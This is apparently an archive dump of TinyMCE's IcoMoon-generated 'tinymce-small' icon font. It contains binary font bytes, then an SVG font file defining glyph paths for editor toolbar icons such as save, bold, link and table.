"#5'!!!'#5#5%!3!!5333@�����@�ee��ee����@@�@����@��@���[eeee���@�������@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@@��6C!'!!3!!.54>32'>54&#"3267?6&'%"&54632#��` ��@�xX ��@d'B0+Jc88cJ+#�
pPPppP2o3��3II33II3@@�����3BQ,8cJ++Jc8 �o2PppPPp
�3VI33II33I@��&+0@54&+54&+"#";!#81381#55!!!!373#35#5335�
�&�&�

�@�����������@���  @0�0@  @�
@&&@
�
�@@@�@@����@��@�@@�@��� `%KXk546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"0>54&#�. Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5#ANA=+Bh .hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh. h&CC&+==++==+�=+*;>%ZX+=�C�_<��0=��0=���������9@�@@@@�@@��@@@p@@@@@@`N@�@@@@@@@@@@@����@�@`@@@��
l�0Rt�0~�@x��"Bb B`��Nn�z��		6	`	�	�
P
�
�,P��B���
0
R
|
�
�:���9��
�
H
�'
o
�	
	�	U	�	2	|	
4�tinymce-smalltinymce-smallVersion 1.0Version 1.0tinymce-smalltinymce-smalltinymce-smalltinymce-smallRegularRegulartinymce-smalltinymce-smallFont generated by IcoMoon.Font generated by IcoMoon.tinymce-small.svg000064400000060227151024320400010041 0ustar00<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="tinymce-small" horiz-adv-x="1024">
<font-face units-per-em="1024" ascent="960" descent="-64" />
<missing-glyph horiz-adv-x="1024" />
<glyph unicode="&#x20;" horiz-adv-x="512" d="" />
<glyph unicode="&#xe000;" glyph-name="save" d="M960 80v591.938l-223.938 224.062h-592.062c-44.182 0-80-35.816-80-80v-736c0-44.184 35.818-80 80-80h736c44.184 0 80 35.816 80 80zM576 768h64v-192h-64v192zM704 128h-384v255.882c0.034 0.042 0.076 0.082 0.116 0.118h383.77c0.040-0.036 0.082-0.076 0.116-0.118l-0.002-255.882zM832 128h-64v256c0 35.2-28.8 64-64 64h-384c-35.2 0-64-28.8-64-64v-256h-64v640h64v-192c0-35.2 28.8-64 64-64h320c35.2 0 64 28.8 64 64v171.010l128-128.072v-490.938z" />
<glyph unicode="&#xe001;" glyph-name="newdocument" d="M850.746 717.254l-133.492 133.49c-24.888 24.892-74.054 45.256-109.254 45.256h-416c-35.2 0-64-28.8-64-64v-768c0-35.2 28.8-64 64-64h640c35.2 0 64 28.8 64 64v544c0 35.2-20.366 84.364-45.254 109.254zM805.49 672.002c6.792-6.796 13.792-19.162 18.894-32.002h-184.384v184.386c12.84-5.1 25.204-12.1 32-18.896l133.49-133.488zM831.884 64h-639.77c-0.040 0.034-0.082 0.076-0.114 0.116v767.77c0.034 0.040 0.076 0.082 0.114 0.114h383.886v-256h256v-511.884c-0.034-0.040-0.076-0.082-0.116-0.116z" />
<glyph unicode="&#xe002;" glyph-name="fullpage" d="M1024 367.542v160.916l-159.144 15.914c-8.186 30.042-20.088 58.548-35.21 84.98l104.596 127.838-113.052 113.050-127.836-104.596c-26.434 15.124-54.942 27.026-84.982 35.208l-15.914 159.148h-160.916l-15.914-159.146c-30.042-8.186-58.548-20.086-84.98-35.208l-127.838 104.594-113.050-113.050 104.596-127.836c-15.124-26.432-27.026-54.94-35.21-84.98l-159.146-15.916v-160.916l159.146-15.914c8.186-30.042 20.086-58.548 35.21-84.982l-104.596-127.836 113.048-113.048 127.838 104.596c26.432-15.124 54.94-27.028 84.98-35.21l15.916-159.148h160.916l15.914 159.144c30.042 8.186 58.548 20.088 84.982 35.21l127.836-104.596 113.048 113.048-104.596 127.836c15.124 26.434 27.028 54.942 35.21 84.98l159.148 15.92zM704 384l-128-128h-128l-128 128v128l128 128h128l128-128v-128z" />
<glyph unicode="&#xe003;" glyph-name="alignleft" d="M64 768h896v-128h-896zM64 384h896v-128h-896zM64 576h576v-128h-576zM64 192h576v-128h-576z" />
<glyph unicode="&#xe004;" glyph-name="aligncenter" d="M64 768h896v-128h-896zM64 384h896v-128h-896zM256 576h512v-128h-512zM256 192h512v-128h-512z" />
<glyph unicode="&#xe005;" glyph-name="alignright" d="M64 768h896v-128h-896zM64 384h896v-128h-896zM384 576h576v-128h-576zM384 192h576v-128h-576z" />
<glyph unicode="&#xe006;" glyph-name="alignjustify" d="M64 768h896v-128h-896zM64 384h896v-128h-896zM64 576h896v-128h-896zM64 192h896v-128h-896z" />
<glyph unicode="&#xe007;" glyph-name="cut" d="M864.408 289.868c-46.47 46.47-106.938 68.004-161.082 62.806l-63.326 63.326 192 192c0 0 128 128 0 256l-320-320-320 320c-128-128 0-256 0-256l192-192-63.326-63.326c-54.144 5.198-114.61-16.338-161.080-62.806-74.98-74.98-85.112-186.418-22.626-248.9 62.482-62.482 173.92-52.354 248.9 22.626 46.47 46.468 68.002 106.938 62.806 161.080l63.326 63.326 63.328-63.328c-5.196-54.144 16.336-114.61 62.806-161.078 74.978-74.98 186.418-85.112 248.898-22.626 62.488 62.482 52.356 173.918-22.624 248.9zM353.124 201.422c-2.212-24.332-15.020-49.826-35.14-69.946-22.212-22.214-51.080-35.476-77.218-35.476-10.524 0-25.298 2.228-35.916 12.848-21.406 21.404-17.376 73.132 22.626 113.136 22.212 22.214 51.080 35.476 77.218 35.476 10.524 0 25.298-2.228 35.916-12.848 13.112-13.11 13.47-32.688 12.514-43.19zM512 352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zM819.152 108.848c-10.62-10.62-25.392-12.848-35.916-12.848-26.138 0-55.006 13.262-77.218 35.476-20.122 20.12-32.928 45.614-35.138 69.946-0.958 10.502-0.6 30.080 12.514 43.192 10.618 10.622 25.39 12.848 35.916 12.848 26.136 0 55.006-13.262 77.216-35.474 40.004-40.008 44.032-91.736 22.626-113.14z" />
<glyph unicode="&#xe008;" glyph-name="paste" d="M704 576v160c0 17.6-14.4 32-32 32h-160v64c0 35.2-28.8 64-64 64h-128c-35.204 0-64-28.8-64-64v-64h-160c-17.602 0-32-14.4-32-32v-512c0-17.6 14.398-32 32-32h224v-192h384l192 192v384h-192zM320 831.886c0.034 0.038 0.072 0.078 0.114 0.114h127.768c0.042-0.036 0.082-0.076 0.118-0.114v-63.886h-128v63.886zM192 640v64h384v-64h-384zM704 90.51v101.49h101.49l-101.49-101.49zM832 256h-192v-192h-256v448h448v-256z" />
<glyph unicode="&#xe009;" glyph-name="searchreplace" d="M888 576h-56v256h64v64h-320v-64h64v-256h-256v256h64v64h-320v-64h64v-256h-56c-39.6 0-72-32.4-72-72v-432c0-39.6 32.4-72 72-72h240c39.6 0 72 32.4 72 72v312h128v-312c0-39.6 32.4-72 72-72h240c39.6 0 72 32.4 72 72v432c0 39.6-32.4 72-72 72zM348 64h-184c-19.8 0-36 14.4-36 32s16.2 32 36 32h184c19.8 0 36-14.4 36-32s-16.2-32-36-32zM544 448h-64c-17.6 0-32 14.4-32 32s14.4 32 32 32h64c17.6 0 32-14.4 32-32s-14.4-32-32-32zM860 64h-184c-19.8 0-36 14.4-36 32s16.2 32 36 32h184c19.8 0 36-14.4 36-32s-16.2-32-36-32z" />
<glyph unicode="&#xe00a;" glyph-name="bullist" d="M384 832h576v-128h-576zM384 512h576v-128h-576zM384 192h576v-128h-576zM128 768c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64s-64-28.654-64-64zM128 448c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64s-64-28.654-64-64zM128 128c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64s-64-28.654-64-64z" />
<glyph unicode="&#xe00b;" glyph-name="numlist" d="M384 832h576v-128h-576zM384 512h576v-128h-576zM384 192h576v-128h-576zM320 430v146h-64v320h-128v-64h64v-256h-64v-64h128v-50l-128-60v-146h128v-64h-128v-64h128v-64h-128v-64h192v320h-128v50z" />
<glyph unicode="&#xe00c;" glyph-name="indent" d="M64 768h896v-128h-896zM384 384h576v-128h-576zM384 576h576v-128h-576zM64 192h896v-128h-896zM64 576l224-160-224-160z" />
<glyph unicode="&#xe00d;" glyph-name="outdent" d="M64 768h896v-128h-896zM64 384h576v-128h-576zM64 576h576v-128h-576zM64 192h896v-128h-896zM960 576l-224-160 224-160z" />
<glyph unicode="&#xe00e;" glyph-name="blockquote" d="M256.428 535.274c105.8 0 191.572-91.17 191.572-203.638 0-112.464-85.772-203.636-191.572-203.636-105.802 0-191.572 91.17-191.572 203.636l-0.856 29.092c0 224.93 171.54 407.272 383.144 407.272v-116.364c-73.1 0-141.826-30.26-193.516-85.204-9.954-10.578-19.034-21.834-27.224-33.656 9.784 1.64 19.806 2.498 30.024 2.498zM768.428 535.274c105.8 0 191.572-91.17 191.572-203.638 0-112.464-85.772-203.636-191.572-203.636-105.802 0-191.572 91.17-191.572 203.636l-0.856 29.092c0 224.93 171.54 407.272 383.144 407.272v-116.364c-73.1 0-141.826-30.26-193.516-85.204-9.956-10.578-19.036-21.834-27.224-33.656 9.784 1.64 19.806 2.498 30.024 2.498z" />
<glyph unicode="&#xe00f;" glyph-name="undo" d="M704 0c59 199 134.906 455.266-256 446.096v-222.096l-336.002 336 336.002 336v-217.326c468.092 12.2 544-358.674 256-678.674z" />
<glyph unicode="&#xe010;" glyph-name="redo" d="M576 678.674v217.326l336.002-336-336.002-336v222.096c-390.906 9.17-315-247.096-256-446.096-288 320-212.092 690.874 256 678.674z" />
<glyph unicode="&#xe011;" glyph-name="unlink" d="M927.274 729.784l-133.49 133.488c-21.104 21.104-49.232 32.728-79.198 32.728s-58.094-11.624-79.196-32.726l-165.492-165.49c-43.668-43.668-43.668-114.724 0-158.392l2.746-2.746 67.882 67.882-2.746 2.746c-6.132 6.132-6.132 16.494 0 22.626l165.492 165.492c4.010 4.008 8.808 4.608 11.312 4.608s7.302-0.598 11.312-4.61l133.49-133.488c6.132-6.134 6.132-16.498 0.002-22.628l-165.494-165.494c-4.008-4.008-8.806-4.608-11.31-4.608s-7.302 0.6-11.312 4.612l-2.746 2.746-67.88-67.884 2.742-2.742c21.106-21.108 49.23-32.728 79.2-32.728s58.094 11.624 79.196 32.726l165.494 165.492c43.662 43.666 43.662 114.72-0.004 158.39zM551.356 359.356l-67.882-67.882 2.746-2.746c4.008-4.008 4.61-8.806 4.61-11.31 0-2.506-0.598-7.302-4.606-11.314l-165.494-165.49c-4.010-4.010-8.81-4.61-11.314-4.61s-7.304 0.6-11.314 4.61l-133.492 133.486c-4.010 4.010-4.61 8.81-4.61 11.314s0.598 7.3 4.61 11.312l165.49 165.488c4.010 4.012 8.81 4.612 11.314 4.612s7.304-0.6 11.314-4.612l2.746-2.742 67.882 67.88-2.746 2.746c-21.104 21.104-49.23 32.726-79.196 32.726s-58.092-11.624-79.196-32.726l-165.488-165.486c-21.106-21.104-32.73-49.234-32.73-79.198s11.624-58.094 32.726-79.198l133.49-133.49c21.106-21.102 49.232-32.726 79.198-32.726s58.092 11.624 79.196 32.726l165.494 165.492c21.104 21.104 32.722 49.23 32.722 79.196s-11.624 58.094-32.726 79.196l-2.744 2.746zM352 250c-9.724 0-19.45 3.71-26.87 11.128-14.84 14.84-14.84 38.898 0 53.738l320 320c14.84 14.84 38.896 14.84 53.736 0 14.844-14.84 14.844-38.9 0-53.74l-320-320c-7.416-7.416-17.142-11.126-26.866-11.126z" />
<glyph unicode="&#xe012;" glyph-name="link" d="M927.274 729.784l-133.49 133.488c-21.104 21.104-49.232 32.728-79.198 32.728s-58.094-11.624-79.196-32.726l-165.492-165.49c-43.668-43.668-43.668-114.724 0-158.392l2.746-2.746 67.882 67.882-2.746 2.746c-6.132 6.132-6.132 16.494 0 22.626l165.492 165.492c4.010 4.008 8.808 4.608 11.312 4.608s7.302-0.598 11.312-4.61l133.49-133.488c6.132-6.134 6.132-16.498 0.002-22.628l-165.494-165.494c-4.008-4.008-8.806-4.608-11.31-4.608s-7.302 0.6-11.312 4.612l-2.746 2.746-67.88-67.884 2.742-2.742c21.106-21.108 49.23-32.728 79.2-32.728s58.094 11.624 79.196 32.726l165.494 165.492c43.662 43.666 43.662 114.72-0.004 158.39zM551.356 359.356l-67.882-67.882 2.746-2.746c4.008-4.008 4.61-8.806 4.61-11.31 0-2.506-0.598-7.302-4.606-11.314l-165.494-165.49c-4.010-4.010-8.81-4.61-11.314-4.61s-7.304 0.6-11.314 4.61l-133.492 133.486c-4.010 4.010-4.61 8.81-4.61 11.314s0.598 7.3 4.61 11.312l165.49 165.488c4.010 4.012 8.81 4.612 11.314 4.612s7.304-0.6 11.314-4.612l2.746-2.742 67.882 67.88-2.746 2.746c-21.104 21.104-49.23 32.726-79.196 32.726s-58.092-11.624-79.196-32.726l-165.488-165.486c-21.106-21.104-32.73-49.234-32.73-79.198s11.624-58.094 32.726-79.198l133.49-133.49c21.106-21.102 49.232-32.726 79.198-32.726s58.092 11.624 79.196 32.726l165.494 165.492c21.104 21.104 32.722 49.23 32.722 79.196s-11.624 58.094-32.726 79.196l-2.744 2.746zM800 122c-9.724 0-19.45 3.708-26.87 11.13l-128 127.998c-14.844 14.84-14.844 38.898 0 53.738 14.84 14.844 38.896 14.844 53.736 0l128-128c14.844-14.84 14.844-38.896 0-53.736-7.416-7.422-17.142-11.13-26.866-11.13zM608 0c-17.674 0-32 14.326-32 32v128c0 17.674 14.326 32 32 32s32-14.326 32-32v-128c0-17.674-14.326-32-32-32zM928 320h-128c-17.674 0-32 14.326-32 32s14.326 32 32 32h128c17.674 0 32-14.326 32-32s-14.326-32-32-32zM224 774c9.724 0 19.45-3.708 26.87-11.13l128-128c14.842-14.84 14.842-38.898 0-53.738-14.84-14.844-38.898-14.844-53.738 0l-128 128c-14.842 14.84-14.842 38.898 0 53.738 7.418 7.422 17.144 11.13 26.868 11.13zM416 896c17.674 0 32-14.326 32-32v-128c0-17.674-14.326-32-32-32s-32 14.326-32 32v128c0 17.674 14.326 32 32 32zM96 576h128c17.674 0 32-14.326 32-32s-14.326-32-32-32h-128c-17.674 0-32 14.326-32 32s14.326 32 32 32z" />
<glyph unicode="&#xe013;" glyph-name="bookmark" d="M256 896v-896l256 256 256-256v896h-512zM704 170.51l-192 192-192-192v661.49h384v-661.49z" />
<glyph unicode="&#xe014;" glyph-name="image" d="M896 832h-768c-35.2 0-64-28.8-64-64v-640c0-35.2 28.8-64 64-64h768c35.2 0 64 28.8 64 64v640c0 35.2-28.8 64-64 64zM896 128.116c-0.012-0.014-0.030-0.028-0.042-0.042l-191.958 319.926-160-128-224 288-191.968-479.916c-0.010 0.010-0.022 0.022-0.032 0.032v639.77c0.034 0.040 0.076 0.082 0.114 0.114h767.77c0.040-0.034 0.082-0.076 0.116-0.116v-639.768zM640 608c0-53.019 42.981-96 96-96s96 42.981 96 96c0 53.019-42.981 96-96 96s-96-42.981-96-96z" />
<glyph unicode="&#xe015;" glyph-name="media" d="M896 832h-768c-35.2 0-64-28.8-64-64v-640c0-35.2 28.8-64 64-64h768c35.2 0 64 28.8 64 64v640c0 35.2-28.8 64-64 64zM256 128h-128v128h128v-128zM256 384h-128v128h128v-128zM256 640h-128v128h128v-128zM704 128h-384v640h384v-640zM896 128h-128v128h128v-128zM896 384h-128v128h128v-128zM896 640h-128v128h128v-128zM384 640v-384l288 192z" />
<glyph unicode="&#xe016;" glyph-name="help" d="M448 256h128v-128h-128v128zM704 704c35.346 0 64-28.654 64-64v-166l-228-154h-92v64l192 128v64h-320v128h384zM512 896c-119.666 0-232.166-46.6-316.784-131.216-84.614-84.618-131.216-197.118-131.216-316.784 0-119.664 46.602-232.168 131.216-316.784 84.618-84.616 197.118-131.216 316.784-131.216 119.664 0 232.168 46.6 316.784 131.216s131.216 197.12 131.216 316.784c0 119.666-46.6 232.166-131.216 316.784-84.616 84.616-197.12 131.216-316.784 131.216z" />
<glyph unicode="&#xe017;" glyph-name="code" d="M416 256l-192 192 192 192-64 64-256-256 256-256zM672 704l-64-64 192-192-192-192 64-64 256 256z" />
<glyph unicode="&#xe018;" glyph-name="insertdatetime" d="M77.798 655.376l81.414-50.882c50.802 81.114 128.788 143.454 221.208 174.246l-30.366 91.094c-113.748-37.898-209.728-114.626-272.256-214.458zM673.946 869.834l-30.366-91.094c92.422-30.792 170.404-93.132 221.208-174.248l81.412 50.882c-62.526 99.834-158.506 176.562-272.254 214.46zM607.974 255.992c-4.808 0-9.692 1.090-14.286 3.386l-145.688 72.844v211.778c0 17.672 14.328 32 32 32s32-14.328 32-32v-172.222l110.31-55.156c15.806-7.902 22.214-27.124 14.31-42.932-5.604-11.214-16.908-17.696-28.646-17.698zM512 768c-212.078 0-384-171.922-384-384s171.922-384 384-384c212.078 0 384 171.922 384 384s-171.922 384-384 384zM512 96c-159.058 0-288 128.942-288 288s128.942 288 288 288c159.058 0 288-128.942 288-288s-128.942-288-288-288z" />
<glyph unicode="&#xe019;" glyph-name="preview" d="M64 504.254c45.318 49.92 97.162 92.36 153.272 125.124 90.332 52.744 192.246 80.622 294.728 80.622 102.48 0 204.396-27.878 294.726-80.624 56.112-32.764 107.956-75.204 153.274-125.124v117.432c-33.010 28.118-68.124 53.14-104.868 74.594-105.006 61.314-223.658 93.722-343.132 93.722s-238.128-32.408-343.134-93.72c-36.742-21.454-71.856-46.478-104.866-74.596v-117.43zM512 640c-183.196 0-345.838-100.556-448-256 102.162-155.448 264.804-256 448-256s345.838 100.552 448 256c-102.162 155.444-264.804 256-448 256zM512 448c0-35.346-28.654-64-64-64s-64 28.654-64 64c0 35.348 28.654 64 64 64s64-28.652 64-64zM728.066 263.338c-67.434-39.374-140.128-59.338-216.066-59.338s-148.632 19.964-216.066 59.338c-51.554 30.104-98.616 71.31-138.114 120.662 39.498 49.35 86.56 90.558 138.116 120.66 13.276 7.752 26.758 14.74 40.426 20.982-10.512-23.742-16.362-50.008-16.362-77.642 0-106.040 85.962-192 192-192 106.040 0 192 85.96 192 192 0 27.634-5.85 53.9-16.36 77.642 13.668-6.244 27.15-13.23 40.426-20.982 51.554-30.102 98.616-71.31 138.116-120.66-39.498-49.352-86.56-90.558-138.116-120.662z" />
<glyph unicode="&#xe01a;" glyph-name="forecolor" d="M651.168 676.166c-24.612 81.962-28.876 91.834-107.168 91.834h-64c-79.618 0-82.664-10.152-108.418-96 0-0.002 0-0.002-0.002-0.004l-143.998-479.996h113.636l57.6 192h226.366l57.6-192h113.63l-145.246 484.166zM437.218 512l38.4 136c10.086 33.618 36.38 30 36.38 30s26.294 3.618 36.38-30h0.004l38.4-136h-149.564z" />
<glyph unicode="&#xe01b;" glyph-name="table" d="M64 768v-704h896v704h-896zM384 320v128h256v-128h-256zM640 256v-128h-256v128h256zM640 640v-128h-256v128h256zM320 640v-128h-192v128h192zM128 448h192v-128h-192v128zM704 448h192v-128h-192v128zM704 512v128h192v-128h-192zM128 256h192v-128h-192v128zM704 128v128h192v-128h-192z" />
<glyph unicode="&#xe01c;" glyph-name="hr" d="M64 512h896v-128h-896z" />
<glyph unicode="&#xe01d;" glyph-name="removeformat" d="M64 192h512v-128h-512v128zM768 768h-220.558l-183.766-512h-132.288l183.762 512h-223.15v128h576v-128zM929.774 64l-129.774 129.774-129.774-129.774-62.226 62.226 129.774 129.774-129.774 129.774 62.226 62.226 129.774-129.774 129.774 129.774 62.226-62.226-129.774-129.774 129.774-129.774-62.226-62.226z" />
<glyph unicode="&#xe01e;" glyph-name="subscript" d="M768 50v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM676 704h-136l-188-188-188 188h-136l256-256-256-256h136l188 188 188-188h136l-256 256z" />
<glyph unicode="&#xe01f;" glyph-name="superscript" d="M768 754v-50h128v-64h-192v146l128 60v50h-128v64h192v-146zM676 704h-136l-188-188-188 188h-136l256-256-256-256h136l188 188 188-188h136l-256 256z" />
<glyph unicode="&#xe020;" glyph-name="charmap" d="M704 128v37.004c151.348 61.628 256 193.82 256 346.996 0 212.078-200.576 384-448 384s-448-171.922-448-384c0-153.176 104.654-285.368 256-346.996v-37.004h-192l-64 96v-224h320v222.812c-100.9 51.362-170.666 161.54-170.666 289.188 0 176.732 133.718 320 298.666 320s298.666-143.268 298.666-320c0-127.648-69.766-237.826-170.666-289.188v-222.812h320v224l-64-96h-192z" />
<glyph unicode="&#xe021;" glyph-name="emoticons" d="M512 820c99.366 0 192.782-38.694 263.042-108.956s108.958-163.678 108.958-263.044-38.696-192.782-108.958-263.042-163.676-108.958-263.042-108.958-192.782 38.696-263.044 108.958-108.956 163.676-108.956 263.042 38.694 192.782 108.956 263.044 163.678 108.956 263.044 108.956zM512 896c-247.424 0-448-200.576-448-448s200.576-448 448-448 448 200.576 448 448-200.576 448-448 448v0zM320 576c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64s-64-28.654-64-64zM576 576c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64s-64-28.654-64-64zM512 304c-101.84 0-192.56 36.874-251.166 94.328 23.126-117.608 126.778-206.328 251.166-206.328s228.040 88.72 251.168 206.328c-58.608-57.454-149.328-94.328-251.168-94.328z" />
<glyph unicode="&#xe022;" glyph-name="print" d="M256 832h512v-128h-512v128zM896 640h-768c-35.2 0-64-28.8-64-64v-256c0-35.2 28.796-64 64-64h128v-192h512v192h128c35.2 0 64 28.8 64 64v256c0 35.2-28.8 64-64 64zM704 128h-384v256h384v-256zM910.4 544c0-25.626-20.774-46.4-46.398-46.4s-46.402 20.774-46.402 46.4 20.778 46.4 46.402 46.4c25.626 0 46.398-20.774 46.398-46.4z" />
<glyph unicode="&#xe023;" glyph-name="fullscreen" d="M480 576l-192 192 128 128h-352v-352l128 128 192-192zM640 480l192 192 128-128v352h-352l128-128-192-192zM544 320l192-192-128-128h352v352l-128-128-192 192zM384 416l-192-192-128 128v-352h352l-128 128 192 192z" />
<glyph unicode="&#xe024;" glyph-name="spellcheck" d="M960 832v64h-192c-35.202 0-64-28.8-64-64v-320c0-15.856 5.858-30.402 15.496-41.614l-303.496-260.386-142 148-82-70 224-288 416 448h128v64h-192v320h192zM256 448h64v384c0 35.2-28.8 64-64 64h-128c-35.2 0-64-28.8-64-64v-384h64v192h128v-192zM128 704v128h128v-128h-128zM640 512v96c0 35.2-8.8 64-44 64 35.2 0 44 28.8 44 64v96c0 35.2-28.8 64-64 64h-192v-448h192c35.2 0 64 28.8 64 64zM448 832h128v-128h-128v128zM448 640h128v-128h-128v128z" />
<glyph unicode="&#xe025;" glyph-name="nonbreaking" d="M448 448h-128v128h128v128h128v-128h128v-128h-128v-128h-128v128zM960 384v-320h-896v320h128v-192h640v192h128z" />
<glyph unicode="&#xe026;" glyph-name="template" d="M512 576h128v-64h-128zM512 192h128v-64h-128zM576 384h128v-64h-128zM768 384v-192h-64v-64h128v256zM384 384h128v-64h-128zM320 192h128v-64h-128zM320 576h128v-64h-128zM192 768v-256h64v192h64v64zM704 512h128v256h-64v-192h-64zM64 896v-896h896v896h-896zM896 64h-768v768h768v-768zM192 384v-256h64v192h64v64zM576 768h128v-64h-128zM384 768h128v-64h-128z" />
<glyph unicode="&#xe027;" glyph-name="pagebreak" d="M816 896l16-384h-640l16 384h32l16-320h512l16 320h32zM208 0l-16 320h640l-16-320h-32l-16 256h-512l-16-256h-32zM64 448h128v-64h-128zM256 448h128v-64h-128zM448 448h128v-64h-128zM640 448h128v-64h-128zM832 448h128v-64h-128z" />
<glyph unicode="&#xe028;" glyph-name="restoredraft" d="M576 896c247.424 0 448-200.576 448-448s-200.576-448-448-448v96c94.024 0 182.418 36.614 248.902 103.098s103.098 154.878 103.098 248.902c0 94.022-36.614 182.418-103.098 248.902s-154.878 103.098-248.902 103.098c-94.022 0-182.418-36.614-248.902-103.098-51.14-51.138-84.582-115.246-97.306-184.902h186.208l-224-256-224 256h164.57c31.060 217.102 217.738 384 443.43 384zM768 512v-128h-256v320h128v-192z" />
<glyph unicode="&#xe02a;" glyph-name="bold" d="M625.442 465.818c48.074 38.15 78.558 94.856 78.558 158.182 0 114.876-100.29 208-224 208h-224v-768h288c123.712 0 224 93.124 224 208 0 88.196-59.118 163.562-142.558 193.818zM384 656c0 26.51 21.49 48 48 48h67.204c42.414 0 76.796-42.98 76.796-96s-34.382-96-76.796-96h-115.204v144zM547.2 192h-115.2c-26.51 0-48 21.49-48 48v144h163.2c42.418 0 76.8-42.98 76.8-96s-34.382-96-76.8-96z" />
<glyph unicode="&#xe02b;" glyph-name="italic" d="M832 832v-64h-144l-256-640h144v-64h-448v64h144l256 640h-144v64h448z" />
<glyph unicode="&#xe02c;" glyph-name="underline" d="M192 128h576v-64h-576v64zM640 832v-384c0-31.312-14.7-61.624-41.39-85.352-30.942-27.502-73.068-42.648-118.61-42.648-45.544 0-87.668 15.146-118.608 42.648-26.692 23.728-41.392 54.040-41.392 85.352v384h-128v-384c0-141.382 128.942-256 288-256s288 114.618 288 256v384h-128z" />
<glyph unicode="&#xe02d;" glyph-name="strikethrough" d="M960 448h-265.876c-50.078 35.42-114.43 54.86-182.124 54.86-89.206 0-164.572 50.242-164.572 109.712s75.366 109.714 164.572 109.714c75.058 0 140.308-35.576 159.12-82.286h113.016c-7.93 50.644-37.58 97.968-84.058 132.826-50.88 38.16-117.676 59.174-188.078 59.174-70.404 0-137.196-21.014-188.074-59.174-54.788-41.090-86.212-99.502-86.212-160.254s31.424-119.164 86.212-160.254c1.956-1.466 3.942-2.898 5.946-4.316h-265.872v-64h512.532c58.208-17.106 100.042-56.27 100.042-100.572 0-59.468-75.368-109.71-164.572-109.71-75.060 0-140.308 35.574-159.118 82.286h-113.016c7.93-50.64 37.582-97.968 84.060-132.826 50.876-38.164 117.668-59.18 188.072-59.18 70.402 0 137.198 21.016 188.074 59.174 54.79 41.090 86.208 99.502 86.208 160.254 0 35.298-10.654 69.792-30.294 100.572h204.012v64z" />
<glyph unicode="&#xe02e;" glyph-name="visualchars" d="M384 832c-123.712 0-224-100.288-224-224s100.288-224 224-224v-320h128v640h64v-640h128v640h128v128h-448z" />
<glyph unicode="&#xe02f;" glyph-name="ltr" d="M448 832c-123.712 0-224-100.288-224-224s100.288-224 224-224v-320h128v640h64v-640h128v640h128v128h-448zM64 64l224 192-224 192z" />
<glyph unicode="&#xe030;" glyph-name="rtl" d="M320 832c-123.712 0-224-100.288-224-224s100.288-224 224-224v-320h128v640h64v-640h128v640h128v128h-448zM960 448l-224-192 224-192z" />
<glyph unicode="&#xe031;" glyph-name="copy" d="M832 640h-192v64l-192 192h-384v-704h384v-192h576v448l-192 192zM832 549.49l101.49-101.49h-101.49v101.49zM448 805.49l101.49-101.49h-101.49v101.49zM128 832h256v-192h192v-384h-448v576zM960 64h-448v128h128v384h128v-192h192v-320z" />
<glyph unicode="&#xe032;" glyph-name="resize" d="M768 704h64v-64h-64zM640 576h64v-64h-64zM640 448h64v-64h-64zM640 320h64v-64h-64zM512 448h64v-64h-64zM512 320h64v-64h-64zM384 320h64v-64h-64zM768 576h64v-64h-64zM768 448h64v-64h-64zM768 320h64v-64h-64zM768 192h64v-64h-64zM640 192h64v-64h-64zM512 192h64v-64h-64zM384 192h64v-64h-64zM256 192h64v-64h-64z" />
<glyph unicode="&#xe034;" glyph-name="browse" d="M928 832h-416l-32 64h-352l-64-128h896zM840.34 256h87.66l32 448h-896l64-640h356.080c-104.882 37.776-180.080 138.266-180.080 256 0 149.982 122.018 272 272 272 149.98 0 272-122.018 272-272 0-21.678-2.622-43.15-7.66-64zM874.996 110.25l-134.496 110.692c17.454 28.922 27.5 62.814 27.5 99.058 0 106.040-85.96 192-192 192s-192-85.96-192-192 85.96-192 192-192c36.244 0 70.138 10.046 99.058 27.5l110.692-134.496c22.962-26.678 62.118-28.14 87.006-3.252l5.492 5.492c24.888 24.888 23.426 64.044-3.252 87.006zM576 196c-68.484 0-124 55.516-124 124s55.516 124 124 124 124-55.516 124-124-55.516-124-124-124z" />
<glyph unicode="&#xe035;" glyph-name="pastetext" d="M704 576v160c0 17.6-14.4 32-32 32h-160v64c0 35.2-28.8 64-64 64h-128c-35.204 0-64-28.8-64-64v-64h-160c-17.602 0-32-14.4-32-32v-512c0-17.6 14.398-32 32-32h224v-192h576v576h-192zM320 831.886c0.034 0.038 0.072 0.078 0.114 0.114h127.768c0.042-0.036 0.082-0.076 0.118-0.114v-63.886h-128v63.886zM192 640v64h384v-64h-384zM832 64h-448v448h448v-448zM448 448v-128h32l32 64h64v-192h-48v-64h160v64h-48v192h64l32-64h32v128z" />
